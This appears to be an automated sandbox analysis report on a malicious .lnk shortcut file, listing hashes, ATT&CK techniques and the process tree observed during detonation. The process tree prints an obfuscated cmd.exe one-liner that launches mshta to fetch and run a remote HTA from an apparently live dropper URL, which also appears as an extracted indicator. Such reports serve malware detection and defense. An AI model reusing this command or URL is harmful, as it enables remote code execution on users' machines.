4dc03731f1f5324abddf59d1fe4fb779e101174e2d31cd05a1336c0882c867f1

Analysis

max time kernel
148s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:26

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General

Target
DOC-PPFK11.lnk
Size 1KB
Sample260804-kb3ckaz1ev
SHA256 4dc03731f1f5324abddf59d1fe4fb779e101174e2d31cd05a1336c0882c867f1
MD5 6c63fe596e0ed235bd300d8ebddf4567
SHA1 64a0198ab6205b615bb779be83036ae765fa4b75
SHA512 06a7ac70cd4997619135fa4b161d4479ae160086de64ae47c4d3367ab8d8c561f610f9a5bf3ef474268bc5195271dbe2c659828c76d60fc5a11ed597764b373d
TLSH
T1713197002FFD0624F3F79E7394BB572085BAB8698D20CA2E0041450C5072A15E13BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4548	cmd.exe
4788	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4548 wrote to memory of 4788	4548	cmd.exe	90
PID 4788 wrote to memory of 4432	4788	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-PPFK11.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4548
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set js=msh&&set zFkhx=ta&&start "" !js!!zFkhx! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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